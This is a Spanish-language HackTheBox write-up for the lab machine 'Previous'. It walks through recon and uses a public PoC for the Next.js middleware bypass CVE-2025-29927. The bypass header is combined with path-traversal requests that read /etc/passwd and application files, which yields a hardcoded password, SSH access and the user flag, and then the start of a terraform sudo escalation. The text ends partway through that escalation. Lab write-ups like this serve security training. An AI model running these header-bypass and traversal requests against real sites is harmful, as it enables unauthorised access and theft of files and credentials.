This page looks best with JavaScript enabled

HackTheBox - Previous

En Previous identificamos una version de Next.JS vulnerable. En esta fue posible realizar bypass a filtros de acceso para acceder a la API y descargar archivos. Con la enumeracion de archivos logramos obtener credenciales de acceso para SSH. Finalmente escalamos privilegios con sudo y terraform.

Nombre Previous
OS

Linux

Puntos 30
Dificultad Medium
Fecha de Salida 2025-08-23
IP 10.10.11.83
Maker

brun0ne

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [79, 43, 282, 369, 414, 199, 116, 20, 1, 18],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Nmap 7.95 scan initiated Wed Aug 27 00:50:15 2025 as: /usr/lib/nmap/nmap --privileged -p22,80,27291 -sV -sC -oN nmap_scan 10.10.11.83
Nmap scan report for 10.10.11.83
Host is up (0.26s latency).

PORT      STATE  SERVICE VERSION
22/tcp    open   ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open   http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
27291/tcp closed unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug 27 00:50:31 2025 -- 1 IP address (1 host up) scanned in 15.15 seconds

Web Site

El sitio web nos redirige al dominio previous.htb el cual agregamos al archivo /etc/hosts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ curl -sI 10.10.11.83
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 27 Aug 2025 06:50:25 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://previous.htb/

El sitio presenta una tecnologia bajo el nombre PreviousJS.

image

La documentacion es accesible con autenticacion.

image

Web Tech

Los headers del sitio muestran que la tecnologia es Next.JS.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
❯ curl -sI http://previous.htb/
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 27 Aug 2025 06:56:25 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 5493
Connection: keep-alive
X-Powered-By: Next.js
ETag: "17m2fyh3hl048k"
Vary: Accept-Encoding

Wappalyzer muestra que la version es 15.2.2.

image

Directory Brute Forcing

feroxbuster muestra multiples rutas, archivos e incluso lo que parece una API.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
❯ feroxbuster -u http://previous.htb/ -w $MD
                                                                                                                                                                                       
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://previous.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l       66w     2181c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
308      GET        1l        1w       26c http://previous.htb/_next/static/chunks/pages/ => http://previous.htb/_next/static/chunks/pages
308      GET        1l        1w       13c http://previous.htb/_next/static/ => http://previous.htb/_next/static
308      GET        1l        1w        6c http://previous.htb/_next/ => http://previous.htb/_next
308      GET        1l        1w       35c http://previous.htb/_next/static/qVDR2cKpRgqCslEh-llk9/ => http://previous.htb/_next/static/qVDR2cKpRgqCslEh-llk9
308      GET        1l        1w       20c http://previous.htb/_next/static/chunks/ => http://previous.htb/_next/static/chunks
308      GET        1l        1w       17c http://previous.htb/_next/static/css/ => http://previous.htb/_next/static/css
308      GET        1l        1w       12c http://previous.htb/application/ => http://previous.htb/application
200      GET        1l       60w     3028c http://previous.htb/_next/static/chunks/webpack-cb370083d4f9953f.js
200      GET        1l        1w     1305c http://previous.htb/_next/static/qVDR2cKpRgqCslEh-llk9/_buildManifest.js
200      GET        1l      283w     5101c http://previous.htb/_next/static/chunks/pages/index-a09f42904785092c.js
200      GET        1l        2w       77c http://previous.htb/_next/static/qVDR2cKpRgqCslEh-llk9/_ssgManifest.js
307      GET        1l        1w       36c http://previous.htb/docs => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs
200      GET        1l      725w    33690c http://previous.htb/_next/static/chunks/pages/_app-95f33af851b6322a.js
200      GET        1l      250w    23885c http://previous.htb/_next/static/css/9a1ff1f4870b5a50.css
200      GET        1l     2734w   139924c http://previous.htb/_next/static/chunks/framework-ee17a4c43a44d3e2.js
200      GET        1l     2412w   119495c http://previous.htb/_next/static/chunks/main-0221d9991a31a63c.js
200      GET        1l     2125w   112594c http://previous.htb/_next/static/chunks/polyfills-42372ed130431b0a.js
200      GET        1l      407w     5493c http://previous.htb/
307      GET        1l        1w       35c http://previous.htb/api => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi
200      GET        1l      217w     8862c http://previous.htb/_next/static/chunks/0-c54fcec2d27b858d.js
200      GET        1l      136w     3480c http://previous.htb/_next/static/chunks/pages/signin-d0284ed11872b445.js
200      GET        1l      179w     3481c http://previous.htb/signin
307      GET        1l        1w       38c http://previous.htb/docsis => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocsis
307      GET        1l        1w       36c http://previous.htb/apis => http://previous.htb/api/auth/signin?callbackUrl=%2Fapis
307      GET        1l        1w       39c http://previous.htb/apidocs => http://previous.htb/api/auth/signin?callbackUrl=%2Fapidocs
307      GET        1l        1w       39c http://previous.htb/apilist => http://previous.htb/api/auth/signin?callbackUrl=%2Fapilist
307      GET        1l        1w       37c http://previous.htb/docs3 => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs3
307      GET        1l        1w       39c http://previous.htb/docs_03 => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs_03
307      GET        1l        1w       40c http://previous.htb/docs2000 => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs2000
307      GET        1l        1w       37c http://previous.htb/docs2 => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs2
307      GET        1l        1w       39c http://previous.htb/docs_16 => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs_16
307      GET        1l        1w       41c http://previous.htb/apiviewer => http://previous.htb/api/auth/signin?callbackUrl=%2Fapiviewer
307      GET        1l        1w       44c http://previous.htb/docs-project => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs-project
307      GET        1l        1w       38c http://previous.htb/docs_i => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs_i
307      GET        1l        1w       42c http://previous.htb/docs-adodb => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs-adodb
307      GET        1l        1w       40c http://previous.htb/apiguide => http://previous.htb/api/auth/signin?callbackUrl=%2Fapiguide
307      GET        1l        1w       49c http://previous.htb/docs_spreadsheets => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs_spreadsheets
307      GET        1l        1w       38c http://previous.htb/docs70 => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs70
307      GET        1l        1w       41c http://previous.htb/docserver => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocserver
307      GET        1l        1w       36c http://previous.htb/apig => http://previous.htb/api/auth/signin?callbackUrl=%2Fapig

CVE-2025-29927

La version de Next.js del sitio es vulnerable, es posible realizar bypass a filtros de autorizacion si esta ocurre por parte del middleware logrando a acceder a recursos como paginas de administracion, esto es posible tras agregar el header x-middleware-subrequest en las solicitudes.

Ejecutamos un PoC para esta vulnerabilidad la cual verifica y ’explota’ la vulnerabilidad.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
❯ python exploit-CVE-2025-29927.py
UNICORD Exploit for CVE-2025-29927 (Next.js) - Authorization Bypass

Usage:
  python3 exploit-CVE-2025-29927.py -u <target-url>
  python3 exploit-CVE-2025-29927.py -u <target-url> [-v <version>] [-m <middleware>]
  python3 exploit-CVE-2025-29927.py -h

Options:
  -u    Target URL to check and exploit
  -v    Specify Next.js version if known (e.g., 15.2.0) [Optional]
  -m    Specify middleware file name/location if known (e.g. src/middleware) [Optional]
  -h    Show this help menu.

Especificamos la url a la cual deseamos acceder, en este caso a la documentacion agregando la version de Next.js. Este muestra uno de los payloads que permite realizar el bypass guardando la solicitud en un archivo .html.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
❯ python exploit-CVE-2025-29927.py -u http://previous.htb/docs -v 15.2.2

        _ __,~~~/_        __  ___  _______________  ___  ___
    ,~~`( )_( )-\|       / / / / |/ /  _/ ___/ __ \/ _ \/ _ \
        |/|  `--.       / /_/ /    // // /__/ /_/ / , _/ // /
_V__v___!_!__!_____V____\____/_/|_/___/\___/\____/_/|_/____/....
    
UNICORD: Exploit for CVE-2025-29927 (Next.js) - Authorization Bypass
TARGETS: http://previous.htb/docs
PREPARE: Target is running Next.js!
VERSION: Targeting Next.js version 15.2.2 (Vulnerable)

PAYLOAD: {'X-Middleware-Subrequest': 'middleware:middleware:middleware:middleware:middleware'}
EXPLOIT: Payload sent!
SUCCESS: Authorization bypass header found!
OUTPUTS: Response written to file: nextjs_bypass_previous.htb.html
REQUEST: curl -i -k "http://previous.htb/docs" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"

htmledit nos muestra el contenido html.

image

Path Traversal - Download Files

Utilizando Burpsuite agregamos el header a la solicitud logrando observar directamente desde el navegador el contenido.

image

Vemos dos paginas nuevas en /docs/.

image

Una de estas muestra un ejemplo que se puede descargar a traves de la API.

image

Esta toma el nombre del archivo.

1
http://previous.htb/api/download?example=hello-world.ts

Logramos descargamos el archivo agregando el header.

1
2
3
4
5
6
❯ curl -s "http://previous.htb/api/download?example=hello-world.ts" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
import { app } from 'previous';

const app = new App();
app.start();

Enumerating Files

Es posible descargar archivos del sistema.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
❯ curl -s "http://previous.htb/api/download?example=../../../../../../../../etc/passwd" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin

Creamos un pequeno script para agregar el header.

1
2
3
4
5
❯ cat get-files.sh
#!/usr/bin/env bash

curl -s "http://previous.htb/api/download?example=$1" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"

Encontramos que la aplicacion esta corriendo dentro de un docker por la existencia del archivo .dockerenv.

1
2
❯ ./get-files.sh ../../../../../../.dockerenv

Nos basamos de project-structure de nextjs para obtener informacion de la aplicacion, vemos la lectura del archivo package.json.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ ./get-files.sh ../../package.json
{
  "private": true,
  "scripts": {
    "dev": "next dev",
    "build": "next build"
  },
  "dependencies": {
    "@mdx-js/loader": "^3.1.0",
    "@mdx-js/react": "^3.1.0",
    "@next/mdx": "^15.3.0",
    "@tailwindcss/postcss": "^4.1.3",
    "@tailwindcss/typography": "^0.5.16",
    "@types/mdx": "^2.0.13",
    "next": "^15.2.2",
    "next-auth": "^4.24.11",
    "postcss": "^8.5.3",
    "react": "^18.2.0",
    "react-dom": "^18.2.0",
    "tailwindcss": "^4.1.3"
  },
  "devDependencies": {
    "@types/node": "22.14.0",
    "@types/react": "19.1.0",
    "typescript": "5.8.3"
  }
}

Encontramos el archivo server.js que contiene configuracion de nextjs. La aplicacion esta en /app, tambien se indica output en ‘standalone’ lo cual crearia archivos necesarios para la aplicacion en /.next.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
❯ ./get-files.sh ../../server.js
const path = require('path')

const dir = path.join(__dirname)

process.env.NODE_ENV = 'production'
process.chdir(__dirname)

const currentPort = parseInt(process.env.PORT, 10) || 3000
const hostname = process.env.HOSTNAME || '0.0.0.0'

let keepAliveTimeout = parseInt(process.env.KEEP_ALIVE_TIMEOUT, 10)
const nextConfig = {"env":{},"eslint":{"ignoreDuringBuilds":false},"typescript":{"ignoreBuildErrors":false,"tsconfigPath":"tsconfig.json"},"distDir":"./.next","cleanDistDir":true,"assetPrefix":"","cacheMaxMemorySize":52428800,"configOrigin":"next.config.mjs","useFileSystemPublicRoutes":true,"generateEtags":true,"pageExtensions":["js","jsx","md","mdx","ts","tsx"],"poweredByHeader":true,"compress":true,"images":{"deviceSizes":[640,750,828,1080,1200,1920,2048,3840],"imageSizes":[16,32,48,64,96,128,256,384],"path":"/_next/image","loader":"default","loaderFile":"","domains":[],"disableStaticImages":false,"minimumCacheTTL":60,"formats":["image/webp"],"dangerouslyAllowSVG":false,"contentSecurityPolicy":"script-src 'none'; frame-src 'none'; sandbox;","contentDispositionType":"attachment","remotePatterns":[],"unoptimized":false},"devIndicators":{"position":"bottom-left"},"onDemandEntries":{"maxInactiveAge":60000,"pagesBufferLength":5},"amp":{"canonicalBase":""},"basePath":"","sassOptions":{},"trailingSlash":false,"i18n":null,"productionBrowserSourceMaps":false,"excludeDefaultMomentLocales":true,"serverRuntimeConfig":{},"publicRuntimeConfig":{},"reactProductionProfiling":false,"reactStrictMode":null,"reactMaxHeadersLength":6000,"httpAgentOptions":{"keepAlive":true},"logging":{},"expireTime":31536000,"staticPageGenerationTimeout":60,"output":"standalone","modularizeImports":{"@mui/icons-material":{"transform":"@mui/icons-material/{{member}}"},"lodash":{"transform":"lodash/{{member}}"}},"outputFileTracingRoot":"/app","experimental":{"allowedDevOrigins":[],"nodeMiddleware":false,"cacheLife":{"default":{"stale":300,"revalidate":900,"expire":4294967294},"seconds":{"stale":0,"revalidate":1,"expire":60},"minutes":{"stale":300,"revalidate":60,"expire":3600},"hours":{"stale":300,"revalidate":3600,"expire":86400},"days":{"stale":300,"revalidate":86400,"expire":604800},"weeks":{"stale":300,"revalidate":604800,"expire":2592000},"max":{"stale":300,"revalidate":2592000,"expire":4294967294}},"cacheHandlers":{},"cssChunking":true,"multiZoneDraftMode":false,"appNavFailHandling":false,"prerenderEarlyExit":true,"serverMinification":true,"serverSourceMaps":false,"linkNoTouchStart":false,"caseSensitiveRoutes":false,"clientSegmentCache":false,"preloadEntriesOnStart":true,"clientRouterFilter":true,"clientRouterFilterRedirects":false,"fetchCacheKeyPrefix":"","middlewarePrefetch":"flexible","optimisticClientCache":true,"manualClientBasePath":false,"cpus":1,"memoryBasedWorkersCount":false,"imgOptConcurrency":null,"imgOptTimeoutInSeconds":7,"imgOptMaxInputPixels":268402689,"imgOptSequentialRead":null,"isrFlushToDisk":true,"workerThreads":false,"optimizeCss":false,"nextScriptWorkers":false,"scrollRestoration":false,"externalDir":false,"disableOptimizedLoading":false,"gzipSize":true,"craCompat":false,"esmExternals":true,"fullySpecified":false,"swcTraceProfiling":false,"forceSwcTransforms":false,"largePageDataBytes":128000,"turbo":{"root":"/app"},"typedRoutes":false,"typedEnv":false,"parallelServerCompiles":false,"parallelServerBuildTraces":false,"ppr":false,"authInterrupts":false,"webpackMemoryOptimizations":false,"optimizeServerReact":true,"useEarlyImport":false,"viewTransition":false,"staleTimes":{"dynamic":0,"static":300},"serverComponentsHmrCache":true,"staticGenerationMaxConcurrency":8,"staticGenerationMinPagesPerWorker":25,"dynamicIO":false,"inlineCss":false,"useCache":false,"optimizePackageImports":["lucide-react","date-fns","lodash-es","ramda","antd","react-bootstrap","ahooks","@ant-design/icons","@headlessui/react","@headlessui-float/react","@heroicons/react/20/solid","@heroicons/react/24/solid","@heroicons/react/24/outline","@visx/visx","@tremor/react","rxjs","@mui/material","@mui/icons-material","recharts","react-use","effect","@effect/schema","@effect/platform","@effect/platform-node","@effect/platform-browser","@effect/platform-bun","@effect/sql","@effect/sql-mssql","@effect/sql-mysql2","@effect/sql-pg","@effect/sql-squlite-node","@effect/sql-squlite-bun","@effect/sql-squlite-wasm","@effect/sql-squlite-react-native","@effect/rpc","@effect/rpc-http","@effect/typeclass","@effect/experimental","@effect/opentelemetry","@material-ui/core","@material-ui/icons","@tabler/icons-react","mui-core","react-icons/ai","react-icons/bi","react-icons/bs","react-icons/cg","react-icons/ci","react-icons/di","react-icons/fa","react-icons/fa6","react-icons/fc","react-icons/fi","react-icons/gi","react-icons/go","react-icons/gr","react-icons/hi","react-icons/hi2","react-icons/im","react-icons/io","react-icons/io5","react-icons/lia","react-icons/lib","react-icons/lu","react-icons/md","react-icons/pi","react-icons/ri","react-icons/rx","react-icons/si","react-icons/sl","react-icons/tb","react-icons/tfi","react-icons/ti","react-icons/vsc","react-icons/wi"],"trustHostHeader":false,"isExperimentalCompile":false},"htmlLimitedBots":"Mediapartners-Google|Slurp|DuckDuckBot|baiduspider|yandex|sogou|bitlybot|tumblr|vkShare|quora link preview|redditbot|ia_archiver|Bingbot|BingPreview|applebot|facebookexternalhit|facebookcatalog|Twitterbot|LinkedInBot|Slackbot|Discordbot|WhatsApp|SkypeUriPreview","bundlePagesRouterDependencies":false,"configFileName":"next.config.mjs"}

process.env.__NEXT_PRIVATE_STANDALONE_CONFIG = JSON.stringify(nextConfig)

require('next')
const { startServer } = require('next/dist/server/lib/start-server')

if (
  Number.isNaN(keepAliveTimeout) ||
  !Number.isFinite(keepAliveTimeout) ||
  keepAliveTimeout < 0
) {
  keepAliveTimeout = undefined
}

startServer({
  dir,
  isDev: false,
  config: nextConfig,
  hostname,
  port: currentPort,
  allowRetry: false,
  keepAliveTimeout,
}).catch((err) => {
  console.error(err);
  process.exit(1);
});

Tras enumerar los archivos dentro de .next, required-server-files.json nos muestra multiples archivos entre ellos server/pages-manifest.json.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
❯ ./get-files.sh ../../../../../../app/.next/required-server-files.json | jq .files
[
  ".next/routes-manifest.json",
  ".next/server/pages-manifest.json",
  ".next/build-manifest.json",
  ".next/prerender-manifest.json",
  ".next/server/functions-config-manifest.json",
  ".next/server/middleware-manifest.json",
  ".next/server/middleware-build-manifest.js",
  ".next/server/middleware-react-loadable-manifest.js",
  ".next/react-loadable-manifest.json",
  ".next/dynamic-css-manifest.json",
  ".next/server/dynamic-css-manifest.js",
  ".next/BUILD_ID",
  ".next/server/next-font-manifest.js",
  ".next/server/next-font-manifest.json"
]

Esta especifica las paginas/rutas con los archivos javascript.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
❯ ./get-files.sh ../../../../../../app/.next/server/pages-manifest.json
{
  "/_app": "pages/_app.js",
  "/_error": "pages/_error.js",
  "/api/auth/[...nextauth]": "pages/api/auth/[...nextauth].js",
  "/api/download": "pages/api/download.js",
  "/docs/[section]": "pages/docs/[section].html",
  "/docs/components/layout": "pages/docs/components/layout.html",
  "/docs/components/sidebar": "pages/docs/components/sidebar.html",
  "/docs/content/examples": "pages/docs/content/examples.html",
  "/docs/content/getting-started": "pages/docs/content/getting-started.html",
  "/docs": "pages/docs.html",
  "/": "pages/index.html",
  "/signin": "pages/signin.html",
  "/_document": "pages/_document.js",
  "/404": "pages/404.html"
}

El archivo pages/api/auth/[...nextauth].js contiene “codigo” para la autenticacion de usuarios en la aplicacion.

1
2
❯ ./get-files.sh ../../../../../../app/.next/server/pages/api/auth/%5b%2e%2e%2e%6e%65%78%74%61%75%74%68%5d.js
"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},6435:(e,n)=>{Object.defineProperty(n,"M",{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in n&&"function"==typeof n.then?n.then(n=>e(n,r)):"function"==typeof n&&"default"===r?n:void 0}}})},8667:(e,n)=>{Object.defineProperty(n,"A",{enumerable:!0,get:function(){return r}});var r=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:()=>P,routeModule:()=>A});var t={};r.r(t),r.d(t,{default:()=>p});var a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-auth"),p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new a.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth]",bundlePath:"",filename:""},userland:t})}};var n=require("../../../webpack-api-runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})();%❯

beautifier formateo el codigo donde encontramos un par de credenciales.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
"use strict";
(() => {
    var e = {};
    e.id = 651, e.ids = [651], e.modules = {
        3480: (e, n, r) => {
            e.exports = r(5600)
        },
        5600: e => {
            e.exports = require("next/dist/compiled/next-server/pages-api.runtime.prod.js")
        },
        6435: (e, n) => {
            Object.defineProperty(n, "M", {
                enumerable: !0,
                get: function() {
                    return function e(n, r) {
                        return r in n ? n[r] : "then" in n && "function" == typeof n.then ? n.then(n => e(n, r)) : "function" == typeof n && "default" === r ? n : void 0
                    }
                }
            })
        },
        8667: (e, n) => {
            Object.defineProperty(n, "A", {
                enumerable: !0,
                get: function() {
                    return r
                }
            });
            var r = function(e) {
                return e.PAGES = "PAGES", e.PAGES_API = "PAGES_API", e.APP_PAGE = "APP_PAGE", e.APP_ROUTE = "APP_ROUTE", e.IMAGE = "IMAGE", e
            }({})
        },
        9832: (e, n, r) => {
            r.r(n), r.d(n, {
                config: () => l,
                default: () => P,
                routeModule: () => A
            });
            var t = {};
            r.r(t), r.d(t, {
                default: () => p
            });
            var a = r(3480),
                s = r(8667),
                i = r(6435);
            let u = require("next-auth/providers/credentials"),
                o = {
                    session: {
                        strategy: "jwt"
                    },
                    providers: [r.n(u)()({
                        name: "Credentials",
                        credentials: {
                            username: {
                                label: "User",
                                type: "username"
                            },
                            password: {
                                label: "Password",
                                type: "password"
                            }
                        },
                        authorize: async e => e?.username === "jeremy" && e.password === (process.env.ADMIN_SECRET ?? "MyNameIsJeremyAndILovePancakes") ? {
                            id: "1",
                            name: "Jeremy"
                        } : null
                    })],
                    pages: {
                        signIn: "/signin"
                    },
                    secret: process.env.NEXTAUTH_SECRET
                },
                d = require("next-auth"),
                p = r.n(d)()(o),
                P = (0, i.M)(t, "default"),
                l = (0, i.M)(t, "config"),
                A = new a.PagesAPIRouteModule({
                    definition: {
                        kind: s.A.PAGES_API,
                        page: "/api/auth/[...nextauth]",
                        pathname: "/api/auth/[...nextauth]",
                        bundlePath: "",
                        filename: ""
                    },
                    userland: t
                })
        }
    };
    var n = require("../../../webpack-api-runtime.js");
    n.C(e);
    var r = n(n.s = 9832);
    module.exports = r
})(); 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// [...] cut [...]
o = {
    session: {
        strategy: "jwt"
    },
    providers: [r.n(u)()({
        name: "Credentials",
        credentials: {
            username: {
                label: "User",
                type: "username"
            },
            password: {
                label: "Password",
                type: "password"
            }
        },
        authorize: async e => e?.username === "jeremy" && e.password === (process.env.ADMIN_SECRET ?? "MyNameIsJeremyAndILovePancakes") ? {
            id: "1",
            name: "Jeremy"
        } : null
    })],
    pages: {
        signIn: "/signin"
    },
    secret: process.env.NEXTAUTH_SECRET
},
// [...] cut [...]

User - Jeremy

Las credenciales son validas por SSH, logrando leer la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
❯ ssh jeremy@previous.htb
The authenticity of host 'previous.htb (10.10.11.83)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:17: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'previous.htb' (ED25519) to the list of known hosts.
jeremy@previous.htb's password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-152-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Thu Aug 28 08:48:03 AM UTC 2025

  System load:  0.02              Processes:             222
  Usage of /:   80.2% of 8.76GB   Users logged in:       2
  Memory usage: 12%               IPv4 address for eth0: 10.10.11.83
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

1 update can be applied immediately.
1 of these updates is a standard security update.
To see these additional updates run: apt list --upgradable

1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


-bash-5.1$ whoami;id;pwd
jeremy
uid=1000(jeremy) gid=1000(jeremy) groups=1000(jeremy)
/home/jeremy
-bash-5.1$ ls
docker	user.txt
-bash-5.1$ cat user.txt 
ee9e27db6c22b5286b29e6ef809017db
-bash-5.1$

Privesc

Jeremy puede ejecutar como root terraform con flags especificas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
jeremy@previous:/usr/local/go/bin$ sudo -l -l
[sudo] password for jeremy: 
Matching Defaults entries for jeremy on previous:
    !env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jeremy may run the following commands on previous:

Sudoers entry:
    RunAsUsers: root
    Commands:
	/usr/bin/terraform -chdir\=/opt/examples apply
jeremy@previous:/usr/local/go/bin$

Se especifica -chdir con el directorio /opt/examples donde observamos la configuracion a ejecutar: main.tf.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
-bash-5.1$ ls -lah /opt/examples
total 28K
drwxr-xr-x 3 root root 4.0K Aug 28 09:01 .
drwxr-xr-x 5 root root 4.0K Aug 21 20:09 ..
-rw-r--r-- 1 root root   18 Apr 12 20:32 .gitignore
-rw-r--r-- 1 root root  576 Aug 21 18:15 main.tf
drwxr-xr-x 3 root root 4.0K Aug 21 20:09 .terraform
-rw-r--r-- 1 root root  247 Aug 21 18:16 .terraform.lock.hcl
